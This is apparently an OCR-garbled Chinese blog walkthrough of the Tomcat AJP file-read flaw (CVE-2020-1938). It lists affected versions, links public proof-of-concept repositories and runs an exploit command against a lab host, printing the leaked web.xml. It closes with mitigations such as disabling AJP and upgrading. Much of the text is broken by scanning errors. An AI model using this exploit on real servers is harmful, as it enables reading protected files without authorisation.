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Apache Tomcat 6

Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
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C:\Windows\system32\cmd.exe =l X

Microsoft Windows [ 6.1.7601] e
L5 TFH (c) 2009 H soft Corporation. {RHTEHL

C:\Users\lenovo>java -version

java version "1.8.0_73"

Java(TH) SE Runtime Environment (build 1.8.0_73-b02)
Java HotSpot(TH) Client UM (build 25.73-b02, mixed mode)

C:\Users\lenovo>
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makebase.sh

BE setclasspath.bat
L setclasspath.sh
_,.-fﬁf shutdown.bat
d e shutdown.sh
d B startup.bat
starfup.sh
A THEEL tomcat-juli.jar

tomcat-native.tar.gz
W e tool-wrapper.bat
tool-wrapper.sh
version.bat
version.sh
startup.sh 820 F8: 2018/11/2 14:29
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# Apache Tomcat/9.0.13 - Windows Internet Explorer

B CA\Windows\System 3
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Recommended Reading:

Security Considerations HOW-TO

/ Manager Application HOW-TO
Clustering/Session Replication HOW-TO

Developer Quick Start

Tomcat Setup Realms & AAA Examples £
First Web Application JDBC DataSources ]
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of 1433->Microsoft-SQL-Server
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o BOB0->Standard HTTF Proxy




Poc1 &g HBLL:
https://github.com/@nise/CVE-2020-1938

Poc2 FEbE:
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-1fi

THFEHFANZXHFTcmdamaSHITHIN LEMIEES2L, pocApy2i
B, meH:
python ./CNVD-2020-10487-Tomcat-Ajp-1fi.py AHip -p 8009 -

f WEB-INF/web.xml
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'c] EBGB HiCFDSﬂFt Corporation,

sershlenove’\Desktop\CNUD-2020-10487-Tomcat-Ajp-1fi-master >python . /CNUD-2020E

10487-Tomcat- Ajp-1fi.py 192.168.31.128 -p 8009 -f WEB-INF/uweb. xml
ietting resource at ajpil: 92.168.31.128:8009/asdf

(?xml version="1.8" encoding="UTF-§"?

Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements, See the NOTICE file distributed with
this work for additienal infermation regarding copyright ownership.

The ASF l1cenJe+ this file to You under the Apache License, Uersion 2.0
{(the "License’ you may not use this file except in compliance with
the License, ou may obtain a copy of the License at

http://wWuW,apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an “"AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language gouverning permissions and
limitations under the License

LWeb-app xm1n5=”http:;frm1n5.jtp.arg';m r1quae¢
xmlns ‘http://Wun w3 . org/2001/ ins
%siischemalocation="http://% cp.org/xml/

s cp.org/xml

version="4.8"
metadata-complete="true">

<{display-name>Welcome to Tomcat</display-name>
<description>

Welcome to Tomcat
¢/description>

. /web-app
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ERE<Con
nector port="8009" protocol="AJP/1.3"redirectPort="8443"
/>

2. BcBajpicEHHsecretRequirediRsecret/E 43K RHIALE

3. EN FHERIMRTEIMBI:

https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi

https://tomcat.apache.org/download-90.cgi




4. Github™T%;:

https://github.com/apache/tomcat/releases

SEHEE
https://www.cnblogs.com/LOading/p/12341112.html
https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

FEEE:
https://www.cnblogs.com/L0Oading/
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